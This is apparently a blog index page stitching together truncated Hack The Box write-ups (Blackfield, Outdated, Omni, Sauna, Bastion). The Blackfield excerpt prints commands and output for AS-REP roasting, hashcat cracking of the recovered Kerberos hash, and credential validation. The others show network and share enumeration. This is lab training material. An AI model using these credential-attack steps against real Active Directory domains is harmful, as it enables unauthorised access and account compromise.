  XDebes                              D        0  Wed Jun  3 17:47:12 2020
  XKonegni                            D        0  Wed Jun  3 17:47:12 2020
  XRykiel                             D        0  Wed Jun  3 17:47:12 2020
  YBleasdale                          D        0  Wed Jun  3 17:47:12 2020
  YHuftalin                           D        0  Wed Jun  3 17:47:12 2020
  YKivlen                             D        0  Wed Jun  3 17:47:12 2020
  YKozlicki                           D        0  Wed Jun  3 17:47:12 2020
  YNyirenda                           D        0  Wed Jun  3 17:47:12 2020
  YPredestin                          D        0  Wed Jun  3 17:47:12 2020
  YSeturino                           D        0  Wed Jun  3 17:47:12 2020
  YSkoropada                          D        0  Wed Jun  3 17:47:12 2020
  YVonebers                           D        0  Wed Jun  3 17:47:12 2020
  YZarpentine                         D        0  Wed Jun  3 17:47:12 2020
  ZAlatti                             D        0  Wed Jun  3 17:47:12 2020
  ZKrenselewski                       D        0  Wed Jun  3 17:47:12 2020
  ZMalaab                             D        0  Wed Jun  3 17:47:12 2020
  ZMiick                              D        0  Wed Jun  3 17:47:12 2020
  ZScozzari                           D        0  Wed Jun  3 17:47:12 2020
  ZTimofeeff                          D        0  Wed Jun  3 17:47:12 2020
  ZWausik                             D        0  Wed Jun  3 17:47:12 2020

                5102079 blocks of size 4096. 1697641 blocks available

└─$ smbclient -N //10.10.10.192/forensic 
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \>
  • Each directory is empty
    • But we can use it to create a userlist and try AS-REP-roasting
└─$ impacket-GetNPUsers -usersfile users.list -dc-ip 10.10.10.192 blackfield.local/
Impacket v0.11.0 - Copyright 2023 Fortra

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
...
$krb5asrep$23$support@BLACKFIELD.LOCAL:1f10d897a1b644a032f41814413ebe39$b16365d416a55a510ac198406233651071444fb1de08ba43529cd7dad0a9ca5025653e234e9ee14f3cbafabb4a492089bfdf57e1b7e2328003154bafdb0bcea191020a3dce2f3aac242166054e1c32c90f2fc1f932f0c92a62bf3d30a1ce26539d5d0b14143f0e409b7c66eeefb1c7fc5c900b17595a083fb23ae675f82d9eae5b02fef0f5178b1f35ca50fd98b3f5adff177028626db9ccccbf841746a01fa7d734f9fbc6f91b62a9a676c1f188a48624c771b75652b4cf94df83849e7bdcb6b9797c4176c3e0e7327b41c3610fcb162b0279f313c79a06c9d3cb127f606198db65bf5c2bae16a91b5b9ec05e5337ef0c623eb2
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
...
  • Crack it with hashcat
    • support:#00^BlackKnight
└─$ hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-sandybridge-12th Gen Intel(R) Core(TM) i5-12400, 1436/2936 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
...
$krb5asrep$23$support@BLACKFIELD.LOCAL:1f10d897a1b644a032f41814413ebe39$b16365d416a55a510ac198406233651071444fb1de08ba43529cd7dad0a9ca5025653e234e9ee14f3cbafabb4a492089bfdf57e1b7e2328003154bafdb0bcea191020a3dce2f3aac242166054e1c32c90f2fc1f932f0c92a62bf3d30a1ce26539d5d0b14143f0e409b7c66eeefb1c7fc5c900b17595a083fb23ae675f82d9eae5b02fef0f5178b1f35ca50fd98b3f5adff177028626db9ccccbf841746a01fa7d734f9fbc6f91b62a9a676c1f188a48624c771b75652b4cf94df83849e7bdcb6b9797c4176c3e0e7327b41c3610fcb162b0279f313c79a06c9d3cb127f606198db65bf5c2bae16a91b5b9ec05e5337ef0c623eb2:#00^BlackKnight
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$support@BLACKFIELD.LOCAL:1f10d897a1b6...623eb2
Time.Started.....: Sun Sep 17 19:11:50 2023 (13 secs)
Time.Estimated...: Sun Sep 17 19:12:03 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1089.9 kH/s (0.41ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 14336000/14344385 (99.94%)
Rejected.........: 0/14336000 (0.00%)
Restore.Point....: 14335488/14344385 (99.94%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: #1*6)0 -> #!hrvert
Hardware.Mon.#1..: Util: 91%

Started: Sun Sep 17 19:11:49 2023
Stopped: Sun Sep 17 19:12:05 2023
  • The creds are valid
    • But no winrm access
└─$ crackmapexec smb 10.10.10.192 -u support -p '#00^BlackKnight'
SMB         10.10.10.192    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight

└─$ crackmapexec winrm 10.10.10.192 -u support -p '#00^BlackKnight'                               
SMB         10.10.10.192    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local)
HTTP        10.10.10.192    5985   DC01             [*] http://10.10.10.192:5985/wsman
WINRM       10.10.10.192    5985   DC01             [-] BLACKFIELD.local\support:#00^BlackKnight

User #1

  • Nothing new in smb except for SYSVOL and NETLOGON
└─$ smbmap -u support -p '#00^BlackKnight' -H 10.10.10.192 
[+] IP: 10.10.10.192:445        Name: BLACKFIELD.local                                  
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        forensic                                                NO ACCESS       Forensic / Audit share.
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        profiles$                                               READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share
  • No Kerberoastable users
└─$ impacket-GetUserSPNs blackfield.local/'support':'#00^BlackKnight' -dc-ip dc01.blackfield.local -request                          
Impacket v0.11.0 - Copyright 2023 Fortra

No entries found!
  • ldapsearch to retrieve samaccountname of domain controller
└─$ ldapsearch -H ldap://10.10.10.192 -x -b "DC=blackfield,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight'
# extended LDIF
#
# LDAPv3
# base <DC=blackfield,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# BLACKFIELD.local
dn: DC=BLACKFIELD,DC=local
objectClass: top
objectClass: domain
objectClass: domainDNS
...
dn: CN=DC01,OU=Domain Controllers,DC=BLACKFIELD,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
objectClass: computer
cn: DC01
distinguishedName: CN=DC01,OU=Domain Controllers,DC=BLACKFIELD,DC=local
instanceType: 4
whenCreated: 20200223111400.0Z
whenChanged: 20230918021908.0Z
uSNCreated: 12293
uSNChanged: 233542
name: DC01
objectGUID:: yKWttevtGU+AkuFOUWYvng==
userAccountControl: 532480
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 132269516749519355
lastLogoff: 0
lastLogon: 133395347215321691
localPolicyFlags: 0
pwdLastSet: 133394771382736467
primaryGroupID: 516
objectSid:: AQUAAAAAAAUVAAAA3sEE+lnfq4Ei72nU6AMAAA==
accountExpires: 9223372036854775807
logonCount: 134
sAMAccountName: DC01$
sAMAccountType: 805306369
operatingSystem: Windows Server 2019 Standard
operatingSystemVersion: 10.0 (17763)
serverReferenceBL: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=C
 onfiguration,DC=BLACKFIELD,DC=local
dNSHostName: DC01.BLACKFIELD.local
...
  • Let’s launch bloodhound
└─$ bloodhound-python -c all -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.10.10.192 --zip
INFO: Found AD domain: blackfield.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 18 computers
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 316 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
  • support has ForceChangePassword rights over audit2020

Sunday, September 17, 2023 | 27 minutes Read
Hero Image
[HTB] Machine: Outdated

Outdated

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.11.175 -T4                           
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-04 20:50 BST
Nmap scan report for 10.10.11.175 (10.10.11.175)
Host is up (0.16s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE
25/tcp    open  smtp
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
8530/tcp  open  unknown
8531/tcp  open  unknown
9389/tcp  open  adws
49667/tcp open  unknown
49685/tcp open  unknown
49686/tcp open  unknown
49689/tcp open  unknown
49928/tcp open  unknown
52597/tcp open  unknown

└─$ nmap -Pn -p25,53,88,135,139,143,389,445,464,587,593,636,2179,3268,3269,5985,8530,8531,9389 -sC -sV 10.10.11.175 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-04 21:06 BST
Nmap scan report for 10.10.11.175 (10.10.11.175)
Host is up (0.18s latency).

PORT     STATE    SERVICE       VERSION
25/tcp   open     smtp          hMailServer smtpd
| smtp-commands: mail.outdated.htb, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp   open     domain        Simple DNS Plus
88/tcp   open     kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-05 03:05:47Z)
135/tcp  open     msrpc         Microsoft Windows RPC
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
143/tcp  filtered imap
389/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-05T03:07:12+00:00; +6h59m24s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 2023-09-05T02:40:55
|_Not valid after:  2024-09-04T02:40:55
445/tcp  open     microsoft-ds?
464/tcp  open     kpasswd5?
587/tcp  filtered submission
593/tcp  open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-05T03:07:13+00:00; +6h59m24s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 2023-09-05T02:40:55
|_Not valid after:  2024-09-04T02:40:55
2179/tcp filtered vmrdp
3268/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-05T03:07:12+00:00; +6h59m24s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 2023-09-05T02:40:55
|_Not valid after:  2024-09-04T02:40:55
3269/tcp open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-05T03:07:12+00:00; +6h59m24s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 2023-09-05T02:40:55
|_Not valid after:  2024-09-04T02:40:55
5985/tcp open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8530/tcp open     http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title.
| http-methods: 
|_  Potentially risky methods: TRACE
8531/tcp open     unknown
9389/tcp open     mc-nmf        .NET Message Framing
Service Info: Hosts: mail.outdated.htb, DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-09-05T03:06:37
|_  start_date: N/A
|_clock-skew: mean: 6h59m23s, deviation: 0s, median: 6h59m23s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.07 seconds
  • smb
└─$ smbclient -N -L //10.10.11.175       

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Shares          Disk      
        SYSVOL          Disk      Logon server share 
        UpdateServicesPackages Disk      A network share to be used by client systems for collecting all software packages (usually applications) published on this WSUS system.
        WsusContent     Disk      A network share to be used by Local Publishing to place published content on this WSUS system.
        WSUSTemp        Disk      A network share used by Local Publishing from a Remote WSUS Console Instance.
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.175 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • smtp
└─$ nmap -Pn -p25 10.10.11.175 -T4 --script=smtp*
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-05 16:49 BST
NSE: [smtp-brute] usernames: Time limit 5m00s exceeded.
NSE: [smtp-brute] usernames: Time limit 5m00s exceeded.
NSE: [smtp-brute] passwords: Time limit 5m00s exceeded.
Nmap scan report for dc.outdated.htb (10.10.11.175)
Host is up (0.092s latency).

PORT   STATE SERVICE
25/tcp open  smtp
| smtp-enum-users: 
|_  Couldn't perform user enumeration, authentication needed
| smtp-commands: mail.outdated.htb, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| smtp-brute: 
|   Accounts: No valid accounts found
|_  Statistics: Performed 4290 guesses in 301 seconds, average tps: 13.7
| smtp-vuln-cve2010-4344: 
|_  The SMTP server is not Exim: NOT VULNERABLE
|_smtp-open-relay: Server isn't an open relay, authentication needed

Foothold

  • smb
└─$ smbclient -N //10.10.11.175/Shares
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jun 20 16:01:33 2022
  ..                                  D        0  Mon Jun 20 16:01:33 2022
  NOC_Reminder.pdf                   AR   106977  Mon Jun 20 16:00:32 2022

                9116415 blocks of size 4096. 2055504 blocks available
smb: \> get NOC_Reminder.pdf 
getting file \NOC_Reminder.pdf of size 106977 as NOC_Reminder.pdf (68.5 KiloBytes/sec) (average 68.5 KiloBytes/sec)
smb: \> exit
  • The content of pdf

Friday, September 1, 2023 | 15 minutes Read
Hero Image
[HTB] Machine: Omni

Omni

Enumeration

  • nmap
└─$ nmap -p135,5985,8080,29817,29819,29820 -Pn 10.10.10.204 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-05 19:00 BST
Nmap scan report for 10.10.10.204 (10.10.10.204)
Host is up (0.16s latency).

PORT      STATE SERVICE
135/tcp   open  msrpc
5985/tcp  open  wsman
8080/tcp  open  http-proxy
29817/tcp open  unknown
29819/tcp open  unknown
29820/tcp open  unknown

└─$ nmap -p135,5985,8080,29817,29819,29820 -Pn -sC -sV 10.10.10.204 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-05 19:00 BST
Nmap scan report for 10.10.10.204 (10.10.10.204)
Host is up (0.14s latency).

PORT      STATE SERVICE  VERSION
135/tcp   open  msrpc    Microsoft Windows RPC
5985/tcp  open  upnp     Microsoft IIS httpd
8080/tcp  open  upnp     Microsoft IIS httpd
|_http-server-header: Microsoft-HTTPAPI/2.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Windows Device Portal
|_http-title: Site doesn't have a title.
29817/tcp open  unknown
29819/tcp open  arcserve ARCserve Discovery
29820/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port29820-TCP:V=7.93%I=7%D=7/5%Time=64A5AFBD%P=x86_64-pc-linux-gnu%r(NU
SF:LL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLines,10,"\
SF:*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\xfb`\x04
SF:G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc
SF:9}\xc8O\x12");
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.05 seconds
  • Port 8080

Wednesday, July 5, 2023 | 3 minutes Read
Hero Image
[HTB] Machine: Sauna

Sauna

Enumeration

  • nmap
└─$ nmap -Pn -sC -sV 10.10.10.175 -T4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-28 17:36 BST
Nmap scan report for 10.10.10.175 (10.10.10.175)
Host is up (0.11s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-06-28 23:35:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m29s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-06-28T23:36:05
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.94 seconds
  • gobuster
└─$ gobuster dir -u http://10.10.10.175 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x asp,aspx  
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.175
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              aspx,asp
[+] Timeout:                 10s
===============================================================
2023/06/28 18:47:01 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 150] [--> http://10.10.10.175/images/]
/Images               (Status: 301) [Size: 150] [--> http://10.10.10.175/Images/]
/css                  (Status: 301) [Size: 147] [--> http://10.10.10.175/css/]
/fonts                (Status: 301) [Size: 149] [--> http://10.10.10.175/fonts/]
/IMAGES               (Status: 301) [Size: 150] [--> http://10.10.10.175/IMAGES/]
/Fonts                (Status: 301) [Size: 149] [--> http://10.10.10.175/Fonts/]
/CSS                  (Status: 301) [Size: 147] [--> http://10.10.10.175/CSS/]
  • smbclient found nothing
└─$ smbclient -N -L //10.10.10.175
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.175 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • Web server

Monday, June 26, 2023 | 5 minutes Read
Hero Image
[HTB] Machine: Bastion

Bastion

Enumeration

  • nmap
└─$ nmap -Pn -sC -sV 10.10.10.134 -T4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-17 21:20 BST
Nmap scan report for 10.10.10.134 (10.10.10.134)
Host is up (0.13s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT    STATE SERVICE      VERSION
22/tcp  open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a56ae753c780ec8564dcb1c22bf458a (RSA)
|   256 cc2e56ab1997d5bb03fb82cd63da6801 (ECDSA)
|_  256 935f5daaca9f53e7f282e664a8a3a018 (ED25519)
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-06-17T20:20:50
|_  start_date: 2023-06-17T18:27:22
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -40m29s, deviation: 1h09m15s, median: -30s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-06-17T22:20:49+02:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.14 seconds
  • smbmap
└─$ smbmap -H 10.10.10.134 -R -u pentest
[+] Guest session       IP: 10.10.10.134:445    Name: 10.10.10.134                                      
[-] Work[!] Unable to remove test directory at \\10.10.10.134\Backups\UEQFPWNJOX, please remove manually
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        Backups                                                 READ, WRITE
        .\Backups\*
        dr--r--r--                0 Sun Jun 18 09:58:58 2023    .
        dr--r--r--                0 Sun Jun 18 09:58:58 2023    ..
        fw--w--w--              116 Tue Apr 16 12:43:19 2019    note.txt
        fr--r--r--                0 Fri Feb 22 12:43:28 2019    SDT65CB.tmp
        dr--r--r--                0 Sun Jun 18 09:58:58 2023    UEQFPWNJOX
        dr--r--r--                0 Fri Feb 22 12:44:02 2019    WindowsImageBackup
        .\Backups\WindowsImageBackup\*
        dr--r--r--                0 Fri Feb 22 12:44:02 2019    .
        dr--r--r--                0 Fri Feb 22 12:44:02 2019    ..
        dr--r--r--                0 Fri Feb 22 12:45:32 2019    L4mpje-PC
        .\Backups\WindowsImageBackup\L4mpje-PC\*
        dr--r--r--                0 Fri Feb 22 12:45:32 2019    .
        dr--r--r--                0 Fri Feb 22 12:45:32 2019    ..
        dr--r--r--                0 Fri Feb 22 12:45:32 2019    Backup 2019-02-22 124351
        dr--r--r--                0 Fri Feb 22 12:45:32 2019    Catalog
        fr--r--r--               16 Fri Feb 22 12:44:02 2019    MediaId
        dr--r--r--                0 Fri Feb 22 12:45:32 2019    SPPMetadataCache
        .\Backups\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\*
        dr--r--r--                0 Fri Feb 22 12:45:32 2019    .
        dr--r--r--                0 Fri Feb 22 12:45:32 2019    ..
        fr--r--r--         37761024 Fri Feb 22 12:44:03 2019    9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
        fr--r--r--       5418299392 Fri Feb 22 12:45:32 2019    9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
        fr--r--r--             1186 Fri Feb 22 12:45:32 2019    BackupSpecs.xml
        fr--r--r--             1078 Fri Feb 22 12:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
        fr--r--r--             8930 Fri Feb 22 12:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
        fr--r--r--             6542 Fri Feb 22 12:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
        fr--r--r--             2894 Fri Feb 22 12:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
        fr--r--r--             1488 Fri Feb 22 12:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
        fr--r--r--             1484 Fri Feb 22 12:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
        fr--r--r--             3844 Fri Feb 22 12:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
        fr--r--r--             3988 Fri Feb 22 12:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
        fr--r--r--             7110 Fri Feb 22 12:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml
        fr--r--r--          2374620 Fri Feb 22 12:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
        .\Backups\WindowsImageBackup\L4mpje-PC\Catalog\*
        dr--r--r--                0 Fri Feb 22 12:45:32 2019    .
        dr--r--r--                0 Fri Feb 22 12:45:32 2019    ..
        fr--r--r--             5698 Fri Feb 22 12:45:32 2019    BackupGlobalCatalog
        fr--r--r--             7440 Fri Feb 22 12:45:32 2019    GlobalCatalog
        .\Backups\WindowsImageBackup\L4mpje-PC\SPPMetadataCache\*
        dr--r--r--                0 Fri Feb 22 12:45:32 2019    .
        dr--r--r--                0 Fri Feb 22 12:45:32 2019    ..
        fr--r--r--            57848 Fri Feb 22 12:45:32 2019    {cd113385-65ff-4ea2-8ced-5630f6feca8f}
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        .\IPC$\*
        fr--r--r--                3 Sun Dec 31 23:58:45 1600    InitShutdown
        fr--r--r--                4 Sun Dec 31 23:58:45 1600    lsass
        fr--r--r--                3 Sun Dec 31 23:58:45 1600    ntsvcs
        fr--r--r--                3 Sun Dec 31 23:58:45 1600    scerpc
        fr--r--r--                1 Sun Dec 31 23:58:45 1600    Winsock2\CatalogChangeListener-2fc-0
        fr--r--r--                3 Sun Dec 31 23:58:45 1600    epmapper
        fr--r--r--                1 Sun Dec 31 23:58:45 1600    Winsock2\CatalogChangeListener-1e8-0
        fr--r--r--                3 Sun Dec 31 23:58:45 1600    LSM_API_service
        fr--r--r--                3 Sun Dec 31 23:58:45 1600    eventlog
        fr--r--r--                1 Sun Dec 31 23:58:45 1600    Winsock2\CatalogChangeListener-3b8-0
        fr--r--r--                3 Sun Dec 31 23:58:45 1600    atsvc
        fr--r--r--                4 Sun Dec 31 23:58:45 1600    wkssvc
        fr--r--r--                1 Sun Dec 31 23:58:45 1600    Winsock2\CatalogChangeListener-364-0
        fr--r--r--                3 Sun Dec 31 23:58:45 1600    trkwks
        fr--r--r--                3 Sun Dec 31 23:58:45 1600    spoolss
        fr--r--r--                1 Sun Dec 31 23:58:45 1600    Winsock2\CatalogChangeListener-66c-0
        fr--r--r--                3 Sun Dec 31 23:58:45 1600    W32TIME_ALT
        fr--r--r--                1 Sun Dec 31 23:58:45 1600    openssh-ssh-agent
        fr--r--r--                4 Sun Dec 31 23:58:45 1600    srvsvc
        fr--r--r--                1 Sun Dec 31 23:58:45 1600    vgauth-service
        fr--r--r--                1 Sun Dec 31 23:58:45 1600    Winsock2\CatalogChangeListener-5ec-0
        fr--r--r--                1 Sun Dec 31 23:58:45 1600    Winsock2\CatalogChangeListener-264-0
        fr--r--r--                1 Sun Dec 31 23:58:45 1600    Winsock2\CatalogChangeListener-26c-0

Foothold

